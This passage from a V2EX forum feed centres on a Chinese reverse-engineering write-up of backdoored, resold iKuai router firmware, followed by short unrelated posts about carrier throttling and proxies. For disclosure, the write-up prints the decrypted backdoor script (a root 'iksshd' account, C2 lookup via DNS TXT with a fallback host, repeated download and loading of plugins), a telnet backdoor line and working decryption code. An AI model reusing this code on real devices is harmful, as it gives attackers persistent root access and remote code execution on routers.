\uff0c\u8fd9\u4e9b\u8d29\u5b50\u9500\u552e\u6240\u8c13\u7684 iKuai\"\u4f01\u4e1a\u7248\"\u56fa\u4ef6\uff0c\u58f0\u79f0\u5305\u542b Docker \u3001Shell \u7b49\u4f01\u4e1a\u7248\u529f\u80fd\u3002\u5b9e\u9645\u4e0a\uff0c\u8fd9\u4e9b\u56fa\u4ef6\u901a\u8fc7\u690d\u5165\u540e\u95e8\u7a0b\u5e8f\u5b9e\u73b0\u63d2\u4ef6\u52a0\u8f7d\uff0c\u540c\u65f6\u5728\u7528\u6237\u8def\u7531\u5668\u4e0a\u7559\u4e0b\u591a\u4e2a\u540e\u95e8\u8d26\u6237\u3002</p>\n<p><img alt=\"undefined\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://img.meituan.net/content/d57afc6f1099629d9405f62f7122011f227780.png\"/></p>\n<p>\u672c\u6587\u5b8c\u6574\u8bb0\u5f55\u4e86\u9006\u5411\u5206\u6790\u8fc7\u7a0b\u3002</p>\n<hr/>\n<h2>1. \u56fa\u4ef6\u63d0\u53d6</h2>\n<h3>1.1 \u83b7\u53d6 rootfs</h3>\n<pre><code class=\"language-bash\"># \u4f7f\u7528 Nyarc \u89e3\u5bc6 iKuai \u56fa\u4ef6\nnyarc --ikuai-decrypt firmware.bin -o decrypted.xz\n\n# \u89e3\u538b XZ \uff08\u5fc5\u987b CRC32 \uff09\nxz -d decrypted.xz\n\n# \u6302\u8f7d ext2 rootfs\nmkdir /tmp/xyrm\nmount -o loop decrypted /tmp/xyrm\n</code></pre>\n<h3>1.2 \u53d1\u73b0\u5f02\u5e38\u6587\u4ef6</h3>\n<pre><code class=\"language-bash\"># \u6807\u51c6 iKuai \u4e0d\u5e94\u8be5\u6709\u8fd9\u4e2a\u6587\u4ef6\nls -la /tmp/xyrm/sbin/replace_files\n# -rwxr-xr-x 1 root root 42240 ... replace_files\n\nls -la /tmp/xyrm/sbin/appinst.bin.pkg\n# -rw-r--r-- 1 root root 26288 ... appinst.bin.pkg (Salted__\u52a0\u5bc6)\n</code></pre>\n<h3>1.3 Nyarc \u5b89\u5168\u626b\u63cf\u53d1\u73b0\u540e\u95e8</h3>\n<pre><code class=\"language-bash\">nyarc --scan /tmp/xyrm\n</code></pre>\n<p>\u8f93\u51fa\uff08\u8282\u9009\uff09\uff1a</p>\n<pre><code>[CRITICAL] Hardcoded Password\n  /etc/shadow: 3 \u4e2a\u5f02\u5e38\u8d26\u6237\n    root:$1$...:17857    \u2190 \u540e\u95e8\u5bc6\u7801\n    sshd:$1$...:17857    \u2190 \u540e\u95e8\u5bc6\u7801  \n    iksshd:$1$...:17857  \u2190 \u540e\u95e8\u8d26\u6237\uff08\u6807\u51c6 iKuai \u65e0\u6b64\u7528\u6237\uff09\n\n[CRITICAL] Backdoor Detected\n  /sbin/replace_files: 42KB ELF, \u975e\u6807\u51c6 iKuai \u6587\u4ef6\n  \n\ud83d\udfe0 [HIGH] Telnet Backdoor\n  /etc/setup/rc: telnetd -p 65500 -l /bin/ash\n  \u2190 \u9690\u85cf Telnet \u540e\u95e8\uff0c\u7aef\u53e3 65500\n</code></pre>\n<hr/>\n<h2>2. replace_files \u9006\u5411</h2>\n<h3>2.1 \u57fa\u672c\u4fe1\u606f</h3>\n<pre><code class=\"language-bash\">file /tmp/xyrm/sbin/replace_files\n# ELF 64-bit LSB executable, x86-64, statically linked\n\nstrings /tmp/xyrm/sbin/replace_files | grep -i \"bash\\|script\\|tmp\"\n# /bin/bash -s\n# /tmp/script_out_\n# /tmp/script_err_\n# kworker/u8:1-ev    \u2190 \u4f2a\u88c5\u6210\u5185\u6838\u7ebf\u7a0b\uff01\n</code></pre>\n<p><strong>\u5173\u952e\u53d1\u73b0\uff1a</strong></p>\n<ul>\n<li>\u9759\u6001\u94fe\u63a5 ELF \uff0c42KB</li>\n<li>\u901a\u8fc7<code>/bin/bash -s</code>\u6267\u884c\u5d4c\u5165\u7684\u811a\u672c</li>\n<li>\u4f2a\u88c5\u8fdb\u7a0b\u540d\u4e3a<code>kworker/u8:1-ev</code>\uff08\u6a21\u4eff\u5185\u6838\u5de5\u4f5c\u7ebf\u7a0b\uff09</li>\n<li>\u8f93\u51fa\u91cd\u5b9a\u5411\u5230<code>/tmp/script_out_XXXXXX</code></li>\n</ul>\n<h3>2.2 Ghidra \u53cd\u7f16\u8bd1</h3>\n<p>\u4f7f\u7528 Ghidra headless \u6a21\u5f0f\u53cd\u7f16\u8bd1\uff1a</p>\n<pre><code class=\"language-bash\"># \u5bfc\u5165\u5e76\u5206\u6790\nanalyzeHeadless /tmp/ghidra_rf rf_proj -import replace_files\n\n# \u53cd\u7f16\u8bd1\u6240\u6709\u51fd\u6570\nanalyzeHeadless /tmp/ghidra_rf rf_proj -process replace_files \\\n  -postScript DecompileAll.java\n</code></pre>\n<h3>2.3 \u6838\u5fc3\u51fd\u6570\u5206\u6790</h3>\n<h4>main \u5165\u53e3\uff08 FUN_0040168a \uff09</h4>\n<pre><code class=\"language-c\">void FUN_0040168a(undefined4 param_1, undefined8 *param_2)\n{\n    // 1. \u4f2a\u88c5\u8fdb\u7a0b\u540d\n    uVar1 = FUN_00405a20(*param_2);\n    FUN_00405aa0(*param_2, \"kworker/u8:1-ev\", uVar1);\n    \n    // 2. \u89e3\u5bc6\u5d4c\u5165\u7684\u811a\u672c\n    FUN_004016e8(&amp;DAT_0040b0a0, &amp;DAT_0040a040, 0xdd1);\n    //           ^\u8f93\u51fa\u7f13\u51b2\u533a    ^\u52a0\u5bc6\u6570\u636e       ^\u957f\u5ea6=3537 \u5b57\u8282\n    \n    // 3. \u6267\u884c\u89e3\u5bc6\u540e\u7684\u811a\u672c\n    FUN_004010e9(&amp;DAT_0040b0a0, param_1, param_2);\n}\n</code></pre>\n<h4>\u89e3\u5bc6\u51fd\u6570\uff08 FUN_004016e8 \uff09\u2014 \u6838\u5fc3\uff01</h4>\n<pre><code class=\"language-c\">void FUN_004016e8(long output, undefined8 encrypted_data, uint data_len)\n{\n    // 1. \u751f\u6210 1024 \u5b57\u8282\u67e5\u627e\u8868\uff08\u7c7b\u4f3c iKuai rootfs \u7684 sbox \uff01\uff09\n    for (i = 0; i &lt; 0x400; i++) {\n        sbox[i] = key[i &amp; 0xf] + ((char)(i + 1) * -0x22);\n        //        ^16 \u5b57\u8282\u5bc6\u94a5     ^\u4e58\u4ee5-0x22(\u5373-34)\n    }\n    \n    // 2. \u9010\u5b57\u8282\u89e3\u5bc6\uff1a\u51cf\u6cd5 + \u4f4d\u65cb\u8f6c\n    for (i = 0; i &lt; data_len; i++) {\n        bVar4 = (sbox[i &amp; 0x3ff] + (char)data_len) &amp; 0xFF;\n        \n        // \u8ba1\u7b97\u65cb\u8f6c\u4f4d\u6570\uff1abVar4 % 7 + 1\n        // Ghidra \u663e\u793a\u7684\u662f\u7f16\u8bd1\u5668\u4f18\u5316\u540e\u7684\u9664\u6cd5\uff08\u4e58 0x25 \u53f3\u79fb 8 \uff09\n        cVar1 = (bVar4 * 0x25) &gt;&gt; 8;\n        div7 = (cVar1 + ((bVar4 - cVar1) &gt;&gt; 1)) &gt;&gt; 2;\n        shift = bVar4 - div7 * 7 + 1;\n        \n        // \u89e3\u5bc6\u64cd\u4f5c\uff1a\u51cf\u53bb bVar4 \uff0c\u7136\u540e\u5de6\u65cb\u8f6c shift \u4f4d\n        data[i] = ROL((data[i] - bVar4) &amp; 0xFF, shift);\n    }\n}\n</code></pre>\n<h3>2.4 \u5bc6\u94a5\u63d0\u53d6</h3>\n<p>\u4ece ELF \u7684\u6570\u636e\u6bb5\u63d0\u53d6\uff1a</p>\n<pre><code class=\"language-python\">with open('replace_files', 'rb') as f:\n    elf = f.read()\n\n# \u89e3\u6790 ELF program headers \u627e\u5230\u6587\u4ef6\u504f\u79fb\n# DAT_0040ae20 (\u865a\u62df\u5730\u5740) \u2192 0x9e20 (\u6587\u4ef6\u504f\u79fb)\n# DAT_0040a040 (\u865a\u62df\u5730\u5740) \u2192 0x9040 (\u6587\u4ef6\u504f\u79fb)\n\nkey = elf[0x9e20:0x9e20+16]\n# \u5bc6\u94a5: 88b1f1937a2cb39d5383953eb38a5368\n\nencrypted_data = elf[0x9040:0x9040+0xdd1]\n# 3537 \u5b57\u8282\u52a0\u5bc6\u6570\u636e\n</code></pre>\n<h3>2.5 Python \u89e3\u5bc6\u5b9e\u73b0</h3>\n<pre><code class=\"language-python\">key = elf[0x9e20:0x9e20+16]\nenc_data = bytearray(elf[0x9040:0x9040+0xdd1])\ndata_len = 0xdd1  # 3537\n\n# \u751f\u6210 sbox\nsbox = bytearray(1024)\nfor i in range(1024):\n    sbox[i] = (key[i &amp; 0xf] + ((i + 1) * (-0x22 &amp; 0xFF))) &amp; 0xFF\n\n# \u89e3\u5bc6\ndec = bytearray(len(enc_data))\nfor i in range(len(enc_data)):\n    bVar4 = (sbox[i &amp; 0x3ff] + (data_len &amp; 0xFF)) &amp; 0xFF\n    \n    # shift = bVar4 % 7 + 1 \uff08\u7f16\u8bd1\u5668\u4f18\u5316\u8fd8\u539f\uff09\n    cVar1 = (bVar4 * 0x25) &gt;&gt; 8\n    div7 = (cVar1 + ((bVar4 - cVar1) &gt;&gt; 1)) &gt;&gt; 2\n    shift = (bVar4 - div7 * 7 + 1) &amp; 0x1F\n    \n    # \u89e3\u5bc6\uff1a\u51cf\u53bb bVar4 \uff0c\u7136\u540e ROL\n    val = (enc_data[i] - bVar4) &amp; 0xFF\n    val = ((val &lt;&lt; shift) | (val &gt;&gt; (8 - shift))) &amp; 0xFF\n    dec[i] = val\n\nprint(bytes(dec).decode())\n</code></pre>\n<hr/>\n<h2>3. \u89e3\u5bc6\u540e\u7684\u540e\u95e8\u811a\u672c</h2>\n<p>\u5b8c\u6574\u89e3\u5bc6\u8f93\u51fa\uff08 3537 \u5b57\u8282 bash \u811a\u672c\uff09\uff1a</p>\n<pre><code class=\"language-bash\">#!/bin/bash\n\n# ===== \u540e\u95e8 1: \u6dfb\u52a0 SSH \u540e\u95e8\u8d26\u6237 =====\niksshd=`cat /etc/shadow|grep \"iksshd\"|wc -l`\nif [ $iksshd -eq 0 ];then\necho 'iksshd:$1$ebBzICAY$5CaSyktzPh8SEUYMHdzhf1:17857:0:99999:7:::' &gt;&gt;/etc/shadow\necho 'iksshd:x:0:0:iksshd:/root:/bin/ash' &gt;&gt;/etc/passwd\nfi\n# iksshd \u8d26\u6237: UID=0(root \u6743\u9650), \u5bc6\u7801 hash \u5df2\u77e5\n\n# ===== \u540e\u95e8 2: C2 \u901a\u4fe1 =====\ncheck_network() {\n    while true; do\n        ping -c2 qq.com &gt;/dev/null 2&gt;&amp;1 &amp;&amp; break\n        ping -c2 163.com &gt;/dev/null 2&gt;&amp;1 &amp;&amp; break\n        ping -c2 baidu.com &gt;/dev/null 2&gt;&amp;1 &amp;&amp; break\n        sleep 5\n    done\n}\n\n# ===== \u540e\u95e8 3: \u8fdc\u7a0b\u63a7\u5236\u670d\u52a1\u5668 =====\nREG_SERVER=\"patch.ikuai8.cn\"      # \u4f2a\u88c5\u6210 iKuai \u5b98\u65b9\u57df\u540d\nREG_SERVER2=\"www.ikuai8.cn\"       # \u5907\u7528\noss_cn_beijing=\"https://ikuai8-app.oss-cn-beijing.aliyuncs.com\"\n\nwget_file(){\n    # \u901a\u8fc7 DNS TXT \u8bb0\u5f55\u83b7\u53d6\u771f\u5b9e C2 \u5730\u5740\n    regaddr=$(curl -s \"https://doh.pub/dns-query?name=${REG_SERVER}&amp;type=TXT\" \\\n              | jq -r '.Answer[].data' | sed -E 's/\"//g')\n    \n    # \u5907\u7528 DNS\n    if [ -z \"$regaddr\" ]; then\n        regaddr=$(curl -s \"https://dns.alidns.com/resolve?name=${REG_SERVER2}&amp;type=TXT\" \\\n                  | jq -r '.Answer[].data' | sed -E 's/\"//g')\n    fi\n    \n    # \u6700\u7ec8\u5907\u7528\uff1a\u786c\u7f16\u7801\u52a8\u6001 DNS\n    if [ -z \"$regaddr\" ]; then\n        regaddr=\"http://bdoptical2.vicp.cc:8081\"\n    fi\n    \n    # \u901a\u8fc7 C2 \u670d\u52a1\u5668\u7b7e\u540d OSS URL\n    SIGNED_SER=\"$regaddr/generate_signed_url.php?url=\"\n    SIGNED_URL=$(curl -s \"$SIGNED_SER$oss_cn_beijing/$1\")\n    echo $SIGNED_URL\n}\n\n# ===== \u540e\u95e8 4: \u65e0\u9650\u5faa\u73af\u4e0b\u8f7d+\u5b89\u88c5\u63d2\u4ef6 =====\nwhile true; do\n    check_network\n    sleep 15\n\n    # \u4e0b\u8f7d\u7248\u672c\u4fe1\u606f\n    downloaded_version=`curl -sL $(wget_file \"appinst_ver/version_rom\")`\n    \n    # \u4e0b\u8f7d pmd \u6570\u636e\u5e93\uff08\u52a0\u5bc6\u7684 JSON \uff09\n    wget -O /tmp/iktmp/app_up/db \\\n         $(wget_file \"appinst_ver/appinst_$downloaded_version\") -q\n    \n    # \u4e0b\u8f7d\u63d2\u4ef6\u5305\uff08 AES \u52a0\u5bc6\u7684 tar.gz \uff09\n    wget -O /tmp/iktmp/app_up/appinst.bin.pkg \\\n         $(wget_file \"appinst_ver/appinst_$downloaded_version.bin.ikp\") -q\n\n    if [ -s /tmp/iktmp/app_up/db ] &amp;&amp; [ -s /tmp/iktmp/app_up/appinst.bin.pkg ]; then\n        # \u8986\u76d6 pmd \u6570\u636e\u5e93\n        cp /tmp/iktmp/app_up/db /etc/log/packages/db/.__DB.3.x86_64\n        \n        # \u653e\u7f6e\u63d2\u4ef6\u5305\n        cp /tmp/iktmp/app_up/appinst.bin.pkg /etc/log/packages/appinst.bin.pkg\n        \n        # \u91cd\u542f pmd \uff08 iKuai \u63d2\u4ef6\u7ba1\u7406\u5668\uff09\u5f3a\u5236\u52a0\u8f7d\n        killall pmd\n        rm /tmp/packages -r\n        pmd\n        sleep 30\n    fi\n\n    # \u5b89\u88c5\u6210\u529f\u5219\u9000\u51fa\uff0c\u5426\u5219\u6c38\u8fdc\u91cd\u8bd5\n    if [ -f /tmp/ikpkg/appinst/version ]; then\n        exit\n    fi\n    \n    # \u6e05\u7406\u91cd\u8bd5\n    rm /etc/log/packages/*.pkg -f\ndone\n</code></pre>\n<hr/>\n<h2>4. \u540e\u95e8\u6e05\u5355</h2>\n<table>\n<thead>\n<tr>\n<th>#</th>\n<th>\u7c7b\u578b</th>\n<th>\u8be6\u60c5</th>\n<th>\u5371\u5bb3\u7b49\u7ea7</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>1</td>\n<td>SSH \u540e\u95e8\u8d26\u6237</td>\n<td><code>iksshd</code> (UID=0, root \u6743\u9650)</td>\n<td>\u4e25\u91cd</td>\n</tr>\n<tr>\n<td>2</td>\n<td>Telnet \u540e\u95e8</td>\n<td>\u7aef\u53e3 65500, <code>/bin/ash</code></td>\n<td>\u4e25\u91cd</td>\n</tr>\n<tr>\n<td>3</td>\n<td>\u8fdb\u7a0b\u4f2a\u88c5</td>\n<td>\u4f2a\u88c5\u4e3a<code>kworker/u8:1-ev</code>\u5185\u6838\u7ebf\u7a0b</td>\n<td>\u9ad8</td>\n</tr>\n<tr>\n<td>4</td>\n<td>C2 \u901a\u4fe1</td>\n<td>DNS TXT \u67e5\u8be2\u83b7\u53d6\u63a7\u5236\u670d\u52a1\u5668\u5730\u5740</td>\n<td>\u4e25\u91cd</td>\n</tr>\n<tr>\n<td>5</td>\n<td>\u8fdc\u7a0b\u4e0b\u8f7d</td>\n<td>\u4ece\u963f\u91cc\u4e91 OSS \u4e0b\u8f7d\u4efb\u610f\u4ee3\u7801\u6267\u884c</td>\n<td>\u4e25\u91cd</td>\n</tr>\n<tr>\n<td>6</td>\n<td>pmd \u6ce8\u5165</td>\n<td>\u8986\u76d6\u5b98\u65b9\u63d2\u4ef6\u6570\u636e\u5e93\u52a0\u8f7d\u6076\u610f\u63d2\u4ef6</td>\n<td>\u4e25\u91cd</td>\n</tr>\n<tr>\n<td>7</td>\n<td>\u65e0\u9650\u5faa\u73af</td>\n<td>\u540e\u95e8\u811a\u672c\u6c38\u4e0d\u9000\u51fa\uff0c\u6301\u7eed\u5c1d\u8bd5</td>\n<td>\u9ad8</td>\n</tr>\n<tr>\n<td>8</td>\n<td>\u7981\u7528 bash</td>\n<td><code>/etc/setup/rc</code>\u4e2d\u79fb\u9664 bash \uff0c\u9632\u6b62\u7528\u6237\u6392\u67e5</td>\n<td>\u4e2d</td>\n</tr>\n</tbody></table><h3>C2 \u57fa\u7840\u8bbe\u65bd</h3>\n<pre><code>patch.ikuai8.cn          \u2192 DNS TXT \u2192 \u771f\u5b9e C2 \u5730\u5740\nwww.ikuai8.cn            \u2192 \u5907\u7528 DNS TXT\nbdoptical2.vicp.cc:8081  \u2192 \u786c\u7f16\u7801\u5907\u7528 C2 \uff08\u82b1\u751f\u58f3\u52a8\u6001\u57df\u540d\uff09\nikuai8-app.oss-cn-beijing.aliyuncs.com \u2192 \u63d2\u4ef6\u5b58\u50a8\uff08\u963f\u91cc\u4e91 OSS \uff09\n\nC2 \u670d\u52a1\u5668\u529f\u80fd:\n  /generate_signed_url.php \u2192 \u751f\u6210 OSS \u7b7e\u540d\u4e0b\u8f7d\u94fe\u63a5\n</code></pre>\n<hr/>\n<h2>5. \u52a0\u5bc6\u7b97\u6cd5\u5bf9\u6bd4</h2>\n<h3>replace_files vs iKuai rootfs</h3>\n<table>\n<thead>\n<tr>\n<th>\u7279\u6027</th>\n<th>replace_files</th>\n<th>iKuai rootfs</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>\u7b97\u6cd5</td>\n<td>\u81ea\u5b9a\u4e49 sbox+\u4f4d\u65cb\u8f6c</td>\n<td>\u81ea\u5b9a\u4e49 sbox+XOR</td>\n</tr>\n<tr>\n<td>\u5bc6\u94a5\u957f\u5ea6</td>\n<td>16 \u5b57\u8282</td>\n<td>16 \u5b57\u8282</td>\n</tr>\n<tr>\n<td>sbox \u5927\u5c0f</td>\n<td>1024 \u5b57\u8282</td>\n<td>256 \u5b57\u8282(uint32 \u6ea2\u51fa)</td>\n</tr>\n<tr>\n<td>\u64cd\u4f5c</td>\n<td>\u51cf\u6cd5+ROL</td>\n<td>XOR</td>\n</tr>\n<tr>\n<td>\u5bc6\u94a5\u5b58\u50a8</td>\n<td>ELF \u6570\u636e\u6bb5</td>\n<td>vmlinuz/rootfs \u672b\u5c3e</td>\n</tr>\n</tbody></table><p>\u4e24\u8005\u601d\u8def\u4e00\u81f4\uff1a\u751f\u6210\u67e5\u627e\u8868\u2192\u9010\u5b57\u8282\u53d8\u6362\u3002\u53ef\u80fd\u662f\u540c\u4e00\u4f5c\u8005/\u56e2\u961f\u3002</p>\n<hr/>\n<h2>6. Nyarc \u81ea\u52a8\u5316\u68c0\u6d4b</h2>\n<p>Nyarc \u53ef\u4ee5\u81ea\u52a8\u68c0\u6d4b\u6b64\u7c7b\u540e\u95e8\uff1a</p>\n<pre><code class=\"language-bash\"># \u56fa\u4ef6\u68c0\u6d4b\nnyarc --fw-detect xianyu_firmware.bin\n# \u2192 iKuai 3.7.x (modified)\n\n# \u5b89\u5168\u626b\u63cf\nnyarc --scan /path/to/rootfs\n# \u2192 CRITICAL: Hardcoded password in /etc/shadow\n# \u2192 CRITICAL: Unknown ELF in /sbin/replace_files\n# \u2192 HIGH: Telnet on non-standard port 65500\n\n# \u52a0\u5bc6\u5206\u6790\nnyarc --crypto-scan /sbin/replace_files\n# \u2192 Custom encryption detected (sbox + rotation)\n\n# \u5b8c\u6574\u62a5\u544a\nnyarc --report xianyu_firmware.bin report.txt\n</code></pre>\n<hr/>\n<h2>7. \u5de5\u5177</h2>\n<ul>\n<li><strong><a href=\"https://dl.naixi.net/nyarc/pro-beta/\" rel=\"nofollow\">Nyarc</a></strong>: \u56fa\u4ef6\u5206\u6790\u5de5\u5177</li>\n<li><strong><a href=\"https://github.com/nationalsecurityagency/ghidra\" rel=\"nofollow\">Ghidra</a></strong>: NSA \u9006\u5411\u5de5\u7a0b\u6846\u67b6 \u2014 ELF \u53cd\u7f16\u8bd1</li>\n<li><strong>Python</strong>: \u89e3\u5bc6\u811a\u672c\u5b9e\u73b0</li>\n</ul>\n<hr/>\n<p><em>\u672c\u6587\u4ec5\u53d1\u5e03\u4e8e V2EX \u4f7f\u7528 Nyarc v1.0.0 + Ghidra 11.3.2 \u6d4b\u8bd5</em></p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/chjerry2008", 
        "name": "chjerry2008", 
        "avatar": "https://cdn.v2ex.com/gravatar/d47b3e7ced23b655ea6ee5bb9da6bc0a?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1206857", 
      "title": "UDP \u4e0a\u884c\u9650\u901f\uff0c\u771f\u662f\u8fd0\u8425\u5546\u6700\u9634\u635f\u7684\u5fb7\u884c\u4e86\uff0c\u69fd\uff01", 
      "id": "https://www.v2ex.com/t/1206857", 
      "date_published": "2026-04-18T09:32:14+00:00", 
      "content_html": "\u88ab\u4e0a\u6d77\u79fb\u52a8 UDP \u4e0a\u884c\u9650\u901f\u5230\u53ea\u6709\u51e0\u767e kb \u5df2\u7ecf\u5dee\u4e0d\u591a\u4e00\u5e74\u4e86\uff0c\u4eca\u5e74\u521d\u6709 10086 \u56de\u8bbf\u7528\u6237\u6ee1\u610f\u5ea6\uff0c\u6211\u7ed9\u5dee\u8bc4\u5e76\u56de\u590d\u4e0a\u884c\u4e0d\u8fbe\u6807\uff0c\u7ed3\u679c\u5230\u76ee\u524d\u6773\u65e0\u97f3\u8baf\u3002\u4eca\u5929\u7a81\u53d1\u5947\u60f3\uff0c\u60f3\u627e\u4e2a\u6d4b\u901f UDP \u7684\u65b9\u6cd5\uff0c\u622a\u56fe\u7ed9\u5ba2\u6237\u5bf9\u7ebf\uff0c\u7ed3\u679c\u53d1\u73b0\u5c45\u7136\u6ca1\u6709\u54ce~~~~~~<br />TCP \u6d4b\u901f\u6709\u5f88\u591a\u65b9\u6cd5\uff0c\u6211\u4e5f\u6d4b\u8bd5\u4e86\u90fd\u662f\u6b63\u5e38\u7684\u3002UDP \u7684\u6d4b\u901f\u95ee\u4e86\u51e0\u4e2a AI \uff0c\u90fd\u662f\u63a8\u8350 iperf3 \uff0c\u4f46\u662f\u8fd9\u73a9\u610f\u6ca1\u6709\u4efb\u4f55\u6709\u516c\u4fe1\u529b\u7684\u670d\u52a1\u5668\uff0c\u6d4b\u901f\u7ed3\u679c\u622a\u4e0b\u6765\u7ed9\u5ba2\u670d\u4f1a\u4e0d\u4f1a\u88ab\u627f\u8ba4\u53e6\u8bf4\uff0c\u8981\u627e\u5230\u4e00\u4e2a\u80fd\u7528\u670d\u52a1\u5668\u975e\u5e38\u96be\uff0c\u6211\u5df2\u7ecf\u95ee\u6b7b\u597d\u51e0\u4e2a\u5927\u6a21\u578b\u4e86\u3002\u4e0d\u5f97\u4e0d\u8bf4\u5bf9\u6bd4\u6c5f\u82cf\u79fb\u52a8\u7684\u7b80\u5355\u7c97\u66b4\uff0c\u4e0a\u6d77\u79fb\u52a8\u771f\u662f\u201c\u806a\u660e\u201d\u5f97\u591a\u3002"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/Achao1121", 
        "name": "Achao1121", 
        "avatar": "https://cdn.v2ex.com/avatar/47f6/f490/663321_large.png?m=1704094324"
      }, 
      "url": "https://www.v2ex.com/t/1206847", 
      "date_modified": "2026-04-18T09:58:31+00:00", 
      "content_html": "<p>\u627e\u5230\u642c\u74e6\u5de5   \u5168\u7a0b\u8ddf\u7740 Gemini \u642d\u5efa\u8d77\u6765   Mac \u4e0a\u5efa\u597d\u4e86</p>\n<p>\u7f8e\u56fd - \u6d1b\u6749\u77f6 DC9 CN2GIA (USCA_9)     **49.99 \u7f8e\u5143/3 \u4e2a\u6708   Alipay</p>\n<p>Ubuntu-22.04-x86_64    \u673a\u623f USCA_9 (DC9)</p>\n<p>**20 GB SSD / 1 GB RAM / 1 TB \u6d41\u91cf\u6bcf\u6708 / 2.5G \u5e26\u5bbd</p>\n<p>\u5404\u4f4d\u8bc4\u4ef7\u4e00\u4e0b\u600e\u4e48\u6837</p>\n", 
      "date_published": "2026-04-18T08:42:50+00:00", 
      "title": "\u521a\u521a\u81ea\u5efa\u7684\uff0c\u76ee\u524d\u81ea\u5df1\u5728\u7528\uff0c\u7f51\u901f\u8fd8\u4e0d\u9519", 
      "id": "https://www.v2ex.com/t/1206847"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/et5494", 
        "name": "et5494", 
        "avatar": "https://cdn.v2ex.com/avatar/b258/2ca0/116902_large.png?m=1776408111"
      }, 
      "url": "https://www.v2ex.com/t/1206637", 
      "title": "[\u6c42\u52a9] \u4e3a\u4ec0\u4e48\u6d4f\u89c8\u5668\u91cd\u542f\u5c31\u624d\u80fd\u987a\u5229\u7ffb\u5899\uff1f", 
      "id": "https://www.v2ex.com/t/1206637", 
      "date_published": "2026-04-17T06:42:14+00:00", 
      "content_html": "<h3>\u73af\u5883\u914d\u7f6e</h3>\n<ul>\n<li>\n<p>\u8def\u7531\u7aef\uff1aOP \u65c1\u8def\u7531 + PassWall + Xray VLESS</p>\n</li>\n<li>\n<p>\u672c\u673a\u7aef\uff1aWindows 11 \u7cfb\u7edf + Chrome \u6d4f\u89c8\u5668</p>\n</li>\n</ul>\n<h3>\u5f02\u5e38\u73b0\u8c61</h3>\n<p>\u521d\u59cb\u72b6\u6001\u4e0b\u53ef\u6b63\u5e38\u8bbf\u95ee\u7f51\u7edc\uff0c\u968f\u540e\u7a81\u7136\u51fa\u73b0\u7f51\u9875\u65e0\u6cd5\u52a0\u8f7d\u7684\u60c5\u51b5\uff1b\u5c06 Chrome \u6d4f\u89c8\u5668\u5b8c\u5168\u5173\u95ed\u540e\u91cd\u65b0\u6253\u5f00\uff0c\u7f51\u7edc\u8bbf\u95ee\u6062\u590d\u6b63\u5e38\u3002</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/SingeeKing", 
        "name": "SingeeKing", 
        "avatar": "https://cdn.v2ex.com/avatar/c8a2/3f84/173108_large.png?m=1769246969"
      }, 
      "url": "https://www.v2ex.com/t/1206603", 
      "date_modified": "2026-04-17T05:15:48+00:00", 
      "content_html": "\u4e0a\u6d77\u79fb\u52a8<br /><br />\u8fd9\u4e2a\u6708\u5728\u5c06 NAS \u7684\u6570\u636e\u5907\u4efd\u5230\u591a\u4e2a\u7f51\u76d8\u4e0a\uff0c\u800c\u4e14\u662f\u52a0\u5bc6\u5206\u5757\u5907\u4efd\u7684\uff0c\u6240\u4ee5\u5e94\u8be5\u4e5f\u4e0d\u6d89\u53ca\u79d2\u4f20<br /><br />\u5927\u6982\u770b\u4e86\u4e0b\u6bcf\u4e2a\u7f51\u76d8\u90fd\u4f20\u4e86\u5dee\u4e0d\u591a 4TB \u7684\u6570\u636e\uff0c\u4f46\u662f\u4e00\u76f4\u6ca1\u9047\u5230\u8fbe\u91cf\u9650\u901f\uff0c\u751a\u81f3\u8fde 500GB \u7684\u63d0\u9192\u77ed\u4fe1\u90fd\u8fd8\u6ca1\u6536\u5230<br /><br />\u6240\u4ee5\uff0c\u8fd9\u4e2a 1TB \u9650\u901f\u662f\u771f\u7684\u5417\uff1f\u8fd8\u662f\u8bf4\u53ea\u662f\u5408\u540c\u5199\u4e86\uff0c\u4f46\u662f\u76ee\u524d\u5b9e\u9645\u4e0a\u5e76\u6ca1\u6709\u7ba1\uff1f", 
      "date_published": "2026-04-17T05:10:20+00:00", 
      "title": "\u79fb\u52a8\u7684\u4e0a\u4f20\u771f\u7684\u6709 1TB \u8fbe\u91cf\u9650\u901f\u5417\uff1f", 
      "id": "https://www.v2ex.com/t/1206603"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/idblife", 
        "name": "idblife", 
        "avatar": "https://cdn.v2ex.com/avatar/a95c/4050/14375_large.png?m=1754922138"
      }, 
      "url": "https://www.v2ex.com/t/1206567", 
      "date_modified": "2026-04-17T03:23:52+00:00", 
      "content_html": "ss \u53ef\u884c\u5417\uff1f", 
      "date_published": "2026-04-17T03:22:10+00:00", 
      "title": "\u5982\u4f55\u8ba9\u7f8e\u56fd\u670b\u53cb\u628a\u5bb6\u5bbd IP \u5206\u4eab\u7ed9\u6211\uff1f", 
      "id": "https://www.v2ex.com/t/1206567"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/Hermitist", 
        "name": "Hermitist", 
        "avatar": "https://cdn.v2ex.com/gravatar/da6c1e355f86d79cd2887cb34a3c864e?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1206378", 
      "date_modified": "2026-04-16T09:49:09+00:00", 
      "content_html": "unifi \u8fd0\u8425\u5546\u4f1a\u5728\u5bb6\u5bbd\u9650\u5236\u5165\u7ad9\u5417? \u6211\u77e5\u9053 ipv4 \u5927\u6982\u7387\u4f1a\u5c01, \u4f46\u60f3\u95ee\u95ee IPV6 \u7684\u60c5\u51b5?", 
      "date_published": "2026-04-16T08:18:04+00:00", 
      "title": "\u6709\u5728\u5927\u9a6c\u7684\u670b\u53cb\u5417? \u95ee\u4e2a\u8fd0\u8425\u5546\u95ee\u9898", 
      "id": "https://www.v2ex.com/t/1206378"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/xiaofami", 
        "name": "xiaofami", 
        "avatar": "https://cdn.v2ex.com/avatar/a79c/730c/70149_large.png?m=1766388556"
      }, 
      "url": "https://www.v2ex.com/t/1206272", 
